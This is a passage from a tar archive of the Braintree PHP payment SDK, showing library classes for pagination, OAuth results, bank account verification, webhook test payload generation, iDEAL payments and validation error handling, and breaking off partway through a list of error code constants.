public static function source() { return new MultipleValueNode('source', []); } public static function status() { return new MultipleValueNode('status', [ Transaction::AUTHORIZATION_EXPIRED, Transaction::AUTHORIZING, Transaction::AUTHORIZED, Transaction::GATEWAY_REJECTED, Transaction::FAILED, Transaction::PROCESSOR_DECLINED, Transaction::SETTLED, Transaction::SETTLING, Transaction::SUBMITTED_FOR_SETTLEMENT, Transaction::VOIDED, Transaction::SETTLEMENT_DECLINED, Transaction::SETTLEMENT_PENDING ]); } public static function type() { return new MultipleValueNode('type', [ Transaction::SALE, Transaction::CREDIT ]); } } class_alias('Braintree\TransactionSearch', 'Braintree_TransactionSearch'); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/PaginatedResult.php���������������������������������������������������������0000644�����������������00000001263�14720677707�0015027 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class PaginatedResult { private $_totalItems; private $_pageSize; private $_currentPage; public function __construct($totalItems, $pageSize, $currentPage) { $this->_totalItems = $totalItems; $this->_pageSize = $pageSize; $this->_currentPage = $currentPage; } public function getTotalItems() { return $this->_totalItems; } public function getPageSize() { return $this->_pageSize; } public function getCurrentPage() { return $this->_currentPage; } } class_alias('Braintree\PaginatedResult', 'Braintree_PaginatedResult'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/OAuthResult.php�������������������������������������������������������������0000644�����������������00000001363�14720677707�0014154 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree OAuthCredentials module * * @package Braintree * @category Resources */ class OAuthResult extends Base { protected function _initialize($attribs) { $this->_attributes = $attribs; } public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } /** * returns a string representation of the result * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) .']'; } } class_alias('Braintree\OAuthResult', 'Braintree_OAuthResult'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/UsBankAccountVerification.php�����������������������������������������������0000644�����������������00000005404�14720677707�0017000 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree UsBankAccountVerification module * * @package Braintree * @category Resources */ /** * Manages Braintree UsBankAccountVerifications * * <b>== More information ==</b> * * * @package Braintree * @category Resources * */ class UsBankAccountVerification extends Result\UsBankAccountVerification { /** * factory method: returns an instance of UsBankAccountVerification * to the requesting method, with populated properties * * @ignore * @return UsBankAccountVerification */ public static function factory($attributes) { $instance = new self($attributes); $instance->_initialize($attributes); return $instance; } /* instance methods */ /** * sets instance properties from an array of values * * @access protected * @param array $usBankAccountVerificationAttribs array of usBankAccountVerification data * @return void */ protected function _initialize($usBankAccountVerificationAttribs) { // set the attributes $this->_attributes = $usBankAccountVerificationAttribs; } /** * create a printable representation of the object as: * ClassName[property=value, property=value] * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) . ']'; } // static methods redirecting to gateway /** * finds a US bank account verification * * @access public * @param string $token unique id * @return UsBankAccountVerification */ public static function find($token) { return Configuration::gateway()->usBankAccountVerification()->find($token); } /** * Returns a ResourceCollection of US bank account verifications matching the search query. * * @access public * @param mixed $query search query * @return ResourceCollection */ public static function search($query) { return Configuration::gateway()->usBankAccountVerification()->search($query); } /** * Returns a ResourceCollection of US bank account verifications matching the search query. * * @access public * @param string $token unique id * @param array $amounts micro transfer amounts * @return ResourceCollection */ public static function confirmMicroTransferAmounts($token, $amounts) { return Configuration::gateway()->usBankAccountVerification()->confirmMicroTransferAmounts($token, $amounts); } } class_alias('Braintree\UsBankAccountVerification', 'Braintree_UsBankAccountVerification'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/WebhookTestingGateway.php���������������������������������������������������0000644�����������������00000050005�14720677707�0016210 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class WebhookTestingGateway { public function __construct($gateway) { $this->config = $gateway->config; $this->config->assertHasAccessTokenOrKeys(); } public function sampleNotification($kind, $id, $sourceMerchantId = null) { $xml = self::_sampleXml($kind, $id, $sourceMerchantId); $payload = base64_encode($xml) . "\n"; $signature = $this->config->getPublicKey() . "|" . Digest::hexDigestSha1($this->config->getPrivateKey(), $payload); return [ 'bt_signature' => $signature, 'bt_payload' => $payload ]; } private static function _sampleXml($kind, $id, $sourceMerchantId) { switch ($kind) { case WebhookNotification::SUB_MERCHANT_ACCOUNT_APPROVED: $subjectXml = self::_merchantAccountApprovedSampleXml($id); break; case WebhookNotification::SUB_MERCHANT_ACCOUNT_DECLINED: $subjectXml = self::_merchantAccountDeclinedSampleXml($id); break; case WebhookNotification::TRANSACTION_DISBURSED: $subjectXml = self::_transactionDisbursedSampleXml($id); break; case WebhookNotification::TRANSACTION_SETTLED: $subjectXml = self::_transactionSettledSampleXml($id); break; case WebhookNotification::TRANSACTION_SETTLEMENT_DECLINED: $subjectXml = self::_transactionSettlementDeclinedSampleXml($id); break; case WebhookNotification::DISBURSEMENT_EXCEPTION: $subjectXml = self::_disbursementExceptionSampleXml($id); break; case WebhookNotification::DISBURSEMENT: $subjectXml = self::_disbursementSampleXml($id); break; case WebhookNotification::PARTNER_MERCHANT_CONNECTED: $subjectXml = self::_partnerMerchantConnectedSampleXml($id); break; case WebhookNotification::PARTNER_MERCHANT_DISCONNECTED: $subjectXml = self::_partnerMerchantDisconnectedSampleXml($id); break; case WebhookNotification::PARTNER_MERCHANT_DECLINED: $subjectXml = self::_partnerMerchantDeclinedSampleXml($id); break; case WebhookNotification::OAUTH_ACCESS_REVOKED: $subjectXml = self::_oauthAccessRevocationSampleXml($id); break; case WebhookNotification::CONNECTED_MERCHANT_STATUS_TRANSITIONED: $subjectXml = self::_connectedMerchantStatusTransitionedSampleXml($id); break; case WebhookNotification::CONNECTED_MERCHANT_PAYPAL_STATUS_CHANGED: $subjectXml = self::_connectedMerchantPayPalStatusChangedSampleXml($id); break; case WebhookNotification::DISPUTE_OPENED: $subjectXml = self::_disputeOpenedSampleXml($id); break; case WebhookNotification::DISPUTE_LOST: $subjectXml = self::_disputeLostSampleXml($id); break; case WebhookNotification::DISPUTE_WON: $subjectXml = self::_disputeWonSampleXml($id); break; case WebhookNotification::SUBSCRIPTION_CHARGED_SUCCESSFULLY: $subjectXml = self::_subscriptionChargedSuccessfullySampleXml($id); break; case WebhookNotification::SUBSCRIPTION_CHARGED_UNSUCCESSFULLY: $subjectXml = self::_subscriptionChargedUnsuccessfullySampleXml($id); break; case WebhookNotification::CHECK: $subjectXml = self::_checkSampleXml(); break; case WebhookNotification::ACCOUNT_UPDATER_DAILY_REPORT: $subjectXml = self::_accountUpdaterDailyReportSampleXml($id); break; case WebhookNotification::IDEAL_PAYMENT_COMPLETE: $subjectXml = self::_idealPaymentCompleteSampleXml($id); break; case WebhookNotification::IDEAL_PAYMENT_FAILED: $subjectXml = self::_idealPaymentFailedSampleXml($id); break; // NEXT_MAJOR_VERSION remove GRANTED_PAYMENT_INSTRUMENT_UPDATE case WebhookNotification::GRANTED_PAYMENT_INSTRUMENT_UPDATE: $subjectXml = self::_grantedPaymentInstrumentUpdateSampleXml(); break; case WebhookNotification::GRANTOR_UPDATED_GRANTED_PAYMENT_METHOD: $subjectXml = self::_grantedPaymentInstrumentUpdateSampleXml(); break; case WebhookNotification::RECIPIENT_UPDATED_GRANTED_PAYMENT_METHOD: $subjectXml = self::_grantedPaymentInstrumentUpdateSampleXml(); break; case WebhookNotification::LOCAL_PAYMENT_COMPLETED: $subjectXml = self::_localPaymentCompletedSampleXml(); break; default: $subjectXml = self::_subscriptionSampleXml($id); break; } $timestamp = self::_timestamp(); $sourceMerchantIdXml = ''; if (!is_null($sourceMerchantId)) { $sourceMerchantIdXml = "<source-merchant-id>{$sourceMerchantId}</source-merchant-id>"; } return " <notification> <timestamp type=\"datetime\">{$timestamp}</timestamp> <kind>{$kind}</kind> {$sourceMerchantIdXml} <subject>{$subjectXml}</subject> </notification> "; } private static function _merchantAccountApprovedSampleXml($id) { return " <merchant_account> <id>{$id}</id> <master_merchant_account> <id>master_ma_for_{$id}</id> <status>active</status> </master_merchant_account> <status>active</status> </merchant_account> "; } private static function _merchantAccountDeclinedSampleXml($id) { return " <api-error-response> <message>Credit score is too low</message> <errors> <errors type=\"array\"/> <merchant-account> <errors type=\"array\"> <error> <code>82621</code> <message>Credit score is too low</message> <attribute type=\"symbol\">base</attribute> </error> </errors> </merchant-account> </errors> <merchant-account> <id>{$id}</id> <status>suspended</status> <master-merchant-account> <id>master_ma_for_{$id}</id> <status>suspended</status> </master-merchant-account> </merchant-account> </api-error-response> "; } private static function _transactionDisbursedSampleXml($id) { return " <transaction> <id>${id}</id> <amount>100</amount> <disbursement-details> <disbursement-date type=\"date\">2013-07-09</disbursement-date> </disbursement-details> </transaction> "; } private static function _transactionSettledSampleXml($id) { return " <transaction> <id>${id}</id> <status>settled</status> <type>sale</type> <currency-iso-code>USD</currency-iso-code> <amount>100.00</amount> <merchant-account-id>ogaotkivejpfayqfeaimuktty</merchant-account-id> <payment-instrument-type>us_bank_account</payment-instrument-type> <us-bank-account> <routing-number>123456789</routing-number> <last-4>1234</last-4> <account-type>checking</account-type> <account-holder-name>Dan Schulman</account-holder-name> </us-bank-account> </transaction> "; } private static function _transactionSettlementDeclinedSampleXml($id) { return " <transaction> <id>${id}</id> <status>settlement_declined</status> <type>sale</type> <currency-iso-code>USD</currency-iso-code> <amount>100.00</amount> <merchant-account-id>ogaotkivejpfayqfeaimuktty</merchant-account-id> <payment-instrument-type>us_bank_account</payment-instrument-type> <us-bank-account> <routing-number>123456789</routing-number> <last-4>1234</last-4> <account-type>checking</account-type> <account-holder-name>Dan Schulman</account-holder-name> </us-bank-account> </transaction> "; } private static function _disbursementExceptionSampleXml($id) { return " <disbursement> <id>${id}</id> <transaction-ids type=\"array\"> <item>asdfg</item> <item>qwert</item> </transaction-ids> <success type=\"boolean\">false</success> <retry type=\"boolean\">false</retry> <merchant-account> <id>merchant_account_token</id> <currency-iso-code>USD</currency-iso-code> <sub-merchant-account type=\"boolean\">false</sub-merchant-account> <status>active</status> </merchant-account> <amount>100.00</amount> <disbursement-date type=\"date\">2014-02-10</disbursement-date> <exception-message>bank_rejected</exception-message> <follow-up-action>update_funding_information</follow-up-action> </disbursement> "; } private static function _disbursementSampleXml($id) { return " <disbursement> <id>${id}</id> <transaction-ids type=\"array\"> <item>asdfg</item> <item>qwert</item> </transaction-ids> <success type=\"boolean\">true</success> <retry type=\"boolean\">false</retry> <merchant-account> <id>merchant_account_token</id> <currency-iso-code>USD</currency-iso-code> <sub-merchant-account type=\"boolean\">false</sub-merchant-account> <status>active</status> </merchant-account> <amount>100.00</amount> <disbursement-date type=\"date\">2014-02-10</disbursement-date> <exception-message nil=\"true\"/> <follow-up-action nil=\"true\"/> </disbursement> "; } private static function _disputeOpenedSampleXml($id) { return " <dispute> <amount>250.00</amount> <amount-disputed>250.0</amount-disputed> <amount-won>245.00</amount-won> <currency-iso-code>USD</currency-iso-code> <received-date type=\"date\">2014-03-01</received-date> <reply-by-date type=\"date\">2014-03-21</reply-by-date> <kind>chargeback</kind> <status>open</status> <reason>fraud</reason> <id>${id}</id> <transaction> <id>${id}</id> <amount>250.00</amount> </transaction> <date-opened type=\"date\">2014-03-21</date-opened> </dispute> "; } private static function _disputeLostSampleXml($id) { return " <dispute> <amount>250.00</amount> <amount-disputed>250.0</amount-disputed> <amount-won>245.00</amount-won> <currency-iso-code>USD</currency-iso-code> <received-date type=\"date\">2014-03-01</received-date> <reply-by-date type=\"date\">2014-03-21</reply-by-date> <kind>chargeback</kind> <status>lost</status> <reason>fraud</reason> <id>${id}</id> <transaction> <id>${id}</id> <amount>250.00</amount> <next_billing-date type=\"date\">2020-02-10</next_billing-date> </transaction> <date-opened type=\"date\">2014-03-21</date-opened> </dispute> "; } private static function _disputeWonSampleXml($id) { return " <dispute> <amount>250.00</amount> <amount-disputed>250.0</amount-disputed> <amount-won>245.00</amount-won> <currency-iso-code>USD</currency-iso-code> <received-date type=\"date\">2014-03-01</received-date> <reply-by-date type=\"date\">2014-03-21</reply-by-date> <kind>chargeback</kind> <status>won</status> <reason>fraud</reason> <id>${id}</id> <transaction> <id>${id}</id> <amount>250.00</amount> </transaction> <date-opened type=\"date\">2014-03-21</date-opened> <date-won type=\"date\">2014-03-22</date-won> </dispute> "; } private static function _subscriptionSampleXml($id) { return " <subscription> <id>{$id}</id> <transactions type=\"array\"> </transactions> <add_ons type=\"array\"> </add_ons> <discounts type=\"array\"> </discounts> </subscription> "; } private static function _subscriptionChargedSuccessfullySampleXml($id) { return " <subscription> <id>{$id}</id> <billing-period-start-date type=\"date\">2016-03-21</billing-period-start-date> <billing-period-end-date type=\"date\">2017-03-31</billing-period-end-date> <transactions type=\"array\"> <transaction> <id>{$id}</id> <status>submitted_for_settlement</status> <amount>49.99</amount> </transaction> </transactions> <add_ons type=\"array\"> </add_ons> <discounts type=\"array\"> </discounts> </subscription> "; } private static function _subscriptionChargedUnsuccessfullySampleXml($id) { return " <subscription> <id>{$id}</id> <billing-period-start-date type=\"date\">2016-03-21</billing-period-start-date> <billing-period-end-date type=\"date\">2017-03-31</billing-period-end-date> <transactions type=\"array\"> <transaction> <id>{$id}</id> <status>failed</status> <amount>49.99</amount> </transaction> </transactions> <add_ons type=\"array\"> </add_ons> <discounts type=\"array\"> </discounts> </subscription> "; } private static function _checkSampleXml() { return " <check type=\"boolean\">true</check> "; } private static function _partnerMerchantConnectedSampleXml($id) { return " <partner-merchant> <merchant-public-id>public_id</merchant-public-id> <public-key>public_key</public-key> <private-key>private_key</private-key> <partner-merchant-id>abc123</partner-merchant-id> <client-side-encryption-key>cse_key</client-side-encryption-key> </partner-merchant> "; } private static function _partnerMerchantDisconnectedSampleXml($id) { return " <partner-merchant> <partner-merchant-id>abc123</partner-merchant-id> </partner-merchant> "; } private static function _partnerMerchantDeclinedSampleXml($id) { return " <partner-merchant> <partner-merchant-id>abc123</partner-merchant-id> </partner-merchant> "; } private static function _oauthAccessRevocationSampleXml($id) { return " <oauth-application-revocation> <merchant-id>{$id}</merchant-id> <oauth-application-client-id>oauth_application_client_id</oauth-application-client-id> </oauth-application-revocation> "; } private static function _accountUpdaterDailyReportSampleXml($id) { return " <account-updater-daily-report> <report-date type=\"date\">2016-01-14</report-date> <report-url>link-to-csv-report</report-url> </account-updater-daily-report> "; } private static function _connectedMerchantStatusTransitionedSampleXml($id) { return " <connected-merchant-status-transitioned> <merchant-public-id>{$id}</merchant-public-id> <status>new_status</status> <oauth-application-client-id>oauth_application_client_id</oauth-application-client-id> </connected-merchant-status-transitioned> "; } private static function _connectedMerchantPayPalStatusChangedSampleXml($id) { return " <connected-merchant-paypal-status-changed> <merchant-public-id>{$id}</merchant-public-id> <action>link</action> <oauth-application-client-id>oauth_application_client_id</oauth-application-client-id> </connected-merchant-paypal-status-changed> "; } private static function _idealPaymentCompleteSampleXml($id) { return " <ideal-payment> <id>{$id}</id> <status>COMPLETE</status> <issuer>ABCISSUER</issuer> <order-id>ORDERABC</order-id> <currency>EUR</currency> <amount>10.00</amount> <created-at>2016-11-29T23:27:34.547Z</created-at> <approval-url>https://example.com</approval-url> <ideal-transaction-id>1234567890</ideal-transaction-id> </ideal-payment> "; } private static function _idealPaymentFailedSampleXml($id) { return " <ideal-payment> <id>{$id}</id> <status>FAILED</status> <issuer>ABCISSUER</issuer> <order-id>ORDERABC</order-id> <currency>EUR</currency> <amount>10.00</amount> <created-at>2016-11-29T23:27:34.547Z</created-at> <approval-url>https://example.com</approval-url> <ideal-transaction-id>1234567890</ideal-transaction-id> </ideal-payment> "; } private static function _grantedPaymentInstrumentUpdateSampleXml() { return " <granted-payment-instrument-update> <grant-owner-merchant-id>vczo7jqrpwrsi2px</grant-owner-merchant-id> <grant-recipient-merchant-id>cf0i8wgarszuy6hc</grant-recipient-merchant-id> <payment-method-nonce> <nonce>ee257d98-de40-47e8-96b3-a6954ea7a9a4</nonce> <consumed type='boolean'>false</consumed> <locked type='boolean'>false</locked> </payment-method-nonce> <token>abc123z</token> <updated-fields type='array'> <item>expiration-month</item> <item>expiration-year</item> </updated-fields> </granted-payment-instrument-update> "; } private static function _localPaymentCompletedSampleXml() { return " <local-payment> <payment-id>a-payment-id</payment-id> <payer-id>a-payer-id</payer-id> </local-payment> "; } private static function _timestamp() { // $originalZone = date_default_timezone_get(); // date_default_timezone_set('UTC'); $timestamp = strftime('%Y-%m-%dT%TZ'); // date_default_timezone_set($originalZone); return $timestamp; } } class_alias('Braintree\WebhookTestingGateway', 'Braintree_WebhookTestingGateway'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Version.php�����������������������������������������������������������������0000644�����������������00000001161�14720677707�0013356 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree Library Version * stores version information about the Braintree library */ class Version { /** * class constants */ const MAJOR = 3; const MINOR = 40; const TINY = 0; /** * @ignore * @access protected */ protected function __construct() { } /** * * @return string the current library version */ public static function get() { return self::MAJOR . '.' . self::MINOR . '.' . self::TINY; } } class_alias('Braintree\Version', 'Braintree_Version'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/IdealPaymentGateway.php�����������������������������������������������������0000644�����������������00000005671�14720677707�0015641 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use InvalidArgumentException; /** * Braintree IdealPaymentGateway module * * @package Braintree * @category Resources */ /** * Manages Braintree IdealPayments * * <b>== More information ==</b> * * * @package Braintree * @category Resources */ class IdealPaymentGateway { private $_gateway; private $_config; private $_http; public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_config->assertHasAccessTokenOrKeys(); $this->_http = new Http($gateway->config); } /** * find an IdealPayment by id * * @access public * @param string $idealPaymentId * @return IdealPayment * @throws Exception\NotFound */ public function find($idealPaymentId) { try { $path = $this->_config->merchantPath() . '/ideal_payments/' . $idealPaymentId; $response = $this->_http->get($path); return IdealPayment::factory($response['idealPayment']); } catch (Exception\NotFound $e) { throw new Exception\NotFound( 'iDEAL Payment with id ' . $idealPaymentId . ' not found' ); } } /** * create a new sale for the current IdealPayment * * @param string $idealPaymentId * @param array $transactionAttribs * @return Result\Successful|Result\Error * @see Transaction::sale() */ public function sale($idealPaymentId, $transactionAttribs) { return Transaction::sale( array_merge( $transactionAttribs, ['paymentMethodNonce' => $idealPaymentId] ) ); } /** * generic method for validating incoming gateway responses * * creates a new IdealPayment object and encapsulates * it inside a Result\Successful object, or * encapsulates a Errors object inside a Result\Error * alternatively, throws an Unexpected exception if the response is invalid. * * @ignore * @param array $response gateway response values * @return Result\Successful|Result\Error * @throws Exception\Unexpected */ private function _verifyGatewayResponse($response) { if (isset($response['idealPayment'])) { // return a populated instance of IdealPayment return new Result\Successful( IdealPayment::factory($response['idealPayment']) ); } else if (isset($response['apiErrorResponse'])) { return new Result\Error($response['apiErrorResponse']); } else { throw new Exception\Unexpected( 'Expected Ideal Payment or apiErrorResponse' ); } } } class_alias('Braintree\IdealPaymentGateway', 'Braintree_IdealPaymentGateway'); �����������������������������������������������������������������������braintree/lib/Braintree/Error/Validation.php��������������������������������������������������������0000644�����������������00000003171�14720677707�0015117 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Error; use Braintree\Util; /** * error object returned as part of a validation error collection * provides read-only access to $attribute, $code, and $message * * <b>== More information ==</b> * * For more detailed information on Validation errors, see {@link https://developers.braintreepayments.com/reference/general/validation-errors/overview/php https://developers.braintreepayments.com/reference/general/validation-errors/overview/php} * * @package Braintree * @subpackage Error * * @property-read string $attribute * @property-read string $code * @property-read string $message */ class Validation { private $_attribute; private $_code; private $_message; /** * @ignore * @param array $attributes */ public function __construct($attributes) { $this->_initializeFromArray($attributes); } /** * initializes instance properties from the keys/values of an array * @ignore * @access protected * @param array $attributes array of properties to set - single level * @return void */ private function _initializeFromArray($attributes) { foreach($attributes AS $name => $value) { $varName = "_$name"; $this->$varName = Util::delimiterToCamelCase($value, '_'); } } /** * * @ignore */ public function __get($name) { $varName = "_$name"; return isset($this->$varName) ? $this->$varName : null; } } class_alias('Braintree\Error\Validation', 'Braintree_Error_Validation'); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Error/ErrorCollection.php���������������������������������������������������0000644�����������������00000005755�14720677707�0016144 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Error; use Braintree\Util; /** * * Error handler * Handles validation errors * * Contains a read-only property $error which is a ValidationErrorCollection * * @package Braintree * @subpackage Errors * @category Errors * * @property-read object $errors */ class ErrorCollection implements \Countable { private $_errors; public function __construct($errorData) { $this->_errors = new ValidationErrorCollection($errorData); } /** * Return count of items in collection * Implements countable * * @return integer */ public function count() { return $this->deepSize(); } /** * Returns all of the validation errors at all levels of nesting in a single, flat array. */ public function deepAll() { return $this->_errors->deepAll(); } /** * Returns the total number of validation errors at all levels of nesting. For example, *if creating a customer with a credit card and a billing address, and each of the customer, * credit card, and billing address has 1 error, this method will return 3. * * @return int size */ public function deepSize() { $size = $this->_errors->deepSize(); return $size; } /** * return errors for the passed key name * * @param string $key * @return mixed */ public function forKey($key) { return $this->_errors->forKey($key); } /** * return errors for the passed html field. * For example, $result->errors->onHtmlField("transaction[customer][last_name]") * * @param string $field * @return array */ public function onHtmlField($field) { $pieces = preg_split("/[\[\]]+/", $field, 0, PREG_SPLIT_NO_EMPTY); $errors = $this; foreach(array_slice($pieces, 0, -1) as $key) { $errors = $errors->forKey(Util::delimiterToCamelCase($key)); if (!isset($errors)) { return []; } } $finalKey = Util::delimiterToCamelCase(end($pieces)); return $errors->onAttribute($finalKey); } /** * Returns the errors at the given nesting level (see forKey) in a single, flat array: * * <code> * $result = Customer::create(...); * $customerErrors = $result->errors->forKey('customer')->shallowAll(); * </code> */ public function shallowAll() { return $this->_errors->shallowAll(); } /** * * @ignore */ public function __get($name) { $varName = "_$name"; return isset($this->$varName) ? $this->$varName : null; } /** * * @ignore */ public function __toString() { return sprintf('%s', $this->_errors); } } class_alias('Braintree\Error\ErrorCollection', 'Braintree_Error_ErrorCollection'); �������������������braintree/lib/Braintree/Error/ValidationErrorCollection.php�����������������������������������������0000644�����������������00000006612�14720677707�0020150 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Error; use Braintree\Collection; /** * collection of errors enumerating all validation errors for a given request * * <b>== More information ==</b> * * For more detailed information on Validation errors, see {@link https://developers.braintreepayments.com/reference/general/validation-errors/overview/php https://developers.braintreepayments.com/reference/general/validation-errors/overview/php} * * @package Braintree * @subpackage Error * * @property-read array $errors * @property-read array $nested */ class ValidationErrorCollection extends Collection { private $_errors = []; private $_nested = []; /** * @ignore */ public function __construct($data) { foreach($data AS $key => $errorData) // map errors to new collections recursively if ($key == 'errors') { foreach ($errorData AS $error) { $this->_errors[] = new Validation($error); } } else { $this->_nested[$key] = new ValidationErrorCollection($errorData); } } public function deepAll() { $validationErrors = array_merge([], $this->_errors); foreach($this->_nested as $nestedErrors) { $validationErrors = array_merge($validationErrors, $nestedErrors->deepAll()); } return $validationErrors; } public function deepSize() { $total = sizeof($this->_errors); foreach($this->_nested as $_nestedErrors) { $total = $total + $_nestedErrors->deepSize(); } return $total; } public function forIndex($index) { return $this->forKey("index" . $index); } public function forKey($key) { return isset($this->_nested[$key]) ? $this->_nested[$key] : null; } public function onAttribute($attribute) { $matches = []; foreach ($this->_errors AS $key => $error) { if($error->attribute == $attribute) { $matches[] = $error; } } return $matches; } public function shallowAll() { return $this->_errors; } /** * * @ignore */ public function __get($name) { $varName = "_$name"; return isset($this->$varName) ? $this->$varName : null; } /** * @ignore */ public function __toString() { $output = []; // TODO: implement scope if (!empty($this->_errors)) { $output[] = $this->_inspect($this->_errors); } if (!empty($this->_nested)) { foreach ($this->_nested AS $key => $values) { $output[] = $this->_inspect($this->_nested); } } return join(', ', $output); } /** * @ignore */ private function _inspect($errors, $scope = null) { $eOutput = '[' . __CLASS__ . '/errors:['; foreach($errors AS $error => $errorObj) { $outputErrs[] = "({$errorObj->error['code']} {$errorObj->error['message']})"; } $eOutput .= join(', ', $outputErrs) . ']]'; return $eOutput; } } class_alias('Braintree\Error\ValidationErrorCollection', 'Braintree_Error_ValidationErrorCollection'); ����������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Error/Codes.php�������������������������������������������������������������0000644�����������������00000156153�14720677707�0014073 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Error; /** * * Validation Error codes and messages * * ErrorCodes class provides constants for validation errors. * The constants should be used to check for a specific validation * error in a ValidationErrorCollection. * The error messages returned from the server may change; * but the codes will remain the same. * * @package Braintree * @subpackage Errors * @category Validation */ class Codes { const ADDRESS_CANNOT_BE_BLANK = '81801'; const ADDRESS_COMPANY_IS_INVALID = '91821'; const ADDRESS_COMPANY_IS_TOO_LONG = '81802'; const ADDRESS_COUNTRY_CODE_ALPHA2_IS_NOT_ACCEPTED = '91814'; const ADDRESS_COUNTRY_CODE_ALPHA3_IS_NOT_ACCEPTED = '91816'; const ADDRESS_COUNTRY_CODE_NUMERIC_IS_NOT_ACCEPTED = '91817'; const ADDRESS_COUNTRY_NAME_IS_NOT_ACCEPTED = '91803'; const ADDRESS_EXTENDED_ADDRESS_IS_INVALID = '91823'; const ADDRESS_EXTENDED_ADDRESS_IS_TOO_LONG = '81804'; const ADDRESS_FIRST_NAME_IS_INVALID = '91819'; const ADDRESS_FIRST_NAME_IS_TOO_LONG = '81805'; const ADDRESS_INCONSISTENT_COUNTRY = '91815'; const ADDRESS_LAST_NAME_IS_INVALID = '91820'; const ADDRESS_LAST_NAME_IS_TOO_LONG = '81806'; const ADDRESS_LOCALITY_IS_INVALID = '91824'; const ADDRESS_LOCALITY_IS_TOO_LONG = '81807'; const ADDRESS_POSTAL_CODE_INVALID_CHARACTERS = '81813'; const ADDRESS_POSTAL_CODE_IS_INVALID = '91826'; const ADDRESS_POSTAL_CODE_IS_REQUIRED = '81808'; const ADDRESS_POSTAL_CODE_IS_TOO_LONG = '81809'; const ADDRESS_REGION_IS_INVALID = '91825'; const ADDRESS_REGION_IS_TOO_LONG = '81810'; const ADDRESS_STATE_IS_INVALID_FOR_SELLER_PROTECTION = '81827'; const ADDRESS_STREET_ADDRESS_IS_INVALID = '91822'; const ADDRESS_STREET_ADDRESS_IS_REQUIRED = '81811'; const ADDRESS_STREET_ADDRESS_IS_TOO_LONG = '81812'; const ADDRESS_TOO_MANY_ADDRESSES_PER_CUSTOMER = '91818'; const APPLE_PAY_CARDS_ARE_NOT_ACCEPTED = '83501'; const APPLE_PAY_CUSTOMER_ID_IS_REQUIRED_FOR_VAULTING = '83502'; const APPLE_PAY_TOKEN_IS_IN_USE = '93503'; const APPLE_PAY_PAYMENT_METHOD_NONCE_CONSUMED = '93504'; const APPLE_PAY_PAYMENT_METHOD_NONCE_UNKNOWN = '93505'; const APPLE_PAY_PAYMENT_METHOD_NONCE_UNLOCKED = '93506'; const APPLE_PAY_PAYMENT_METHOD_NONCE_CARD_TYPE_IS_NOT_ACCEPTED = '83518'; const APPLE_PAY_CANNOT_UPDATE_APPLE_PAY_CARD_USING_PAYMENT_METHOD_NONCE = '93507'; const APPLE_PAY_NUMBER_IS_REQUIRED = '93508'; const APPLE_PAY_EXPIRATION_MONTH_IS_REQUIRED = '93509'; const APPLE_PAY_EXPIRATION_YEAR_IS_REQUIRED = '93510'; const APPLE_PAY_CRYPTOGRAM_IS_REQUIRED = '93511'; const APPLE_PAY_DECRYPTION_FAILED = '83512'; const APPLE_PAY_DISABLED = '93513'; const APPLE_PAY_MERCHANT_NOT_CONFIGURED = '93514'; const APPLE_PAY_MERCHANT_KEYS_ALREADY_CONFIGURED = '93515'; const APPLE_PAY_MERCHANT_KEYS_NOT_CONFIGURED = '93516'; const APPLE_PAY_CERTIFICATE_INVALID = '93517'; const APPLE_PAY_CERTIFICATE_MISMATCH = '93519'; const APPLE_PAY_INVALID_TOKEN = '83520'; const APPLE_PAY_PRIVATE_KEY_MISMATCH = '93521'; const APPLE_PAY_KEY_MISMATCH_STORING_CERTIFICATE = '93522'; const AUTHORIZATION_FINGERPRINT_INVALID_CREATED_AT = '93204'; const AUTHORIZATION_FINGERPRINT_INVALID_FORMAT = '93202'; const AUTHORIZATION_FINGERPRINT_INVALID_PUBLIC_KEY = '93205'; const AUTHORIZATION_FINGERPRINT_INVALID_SIGNATURE = '93206'; const 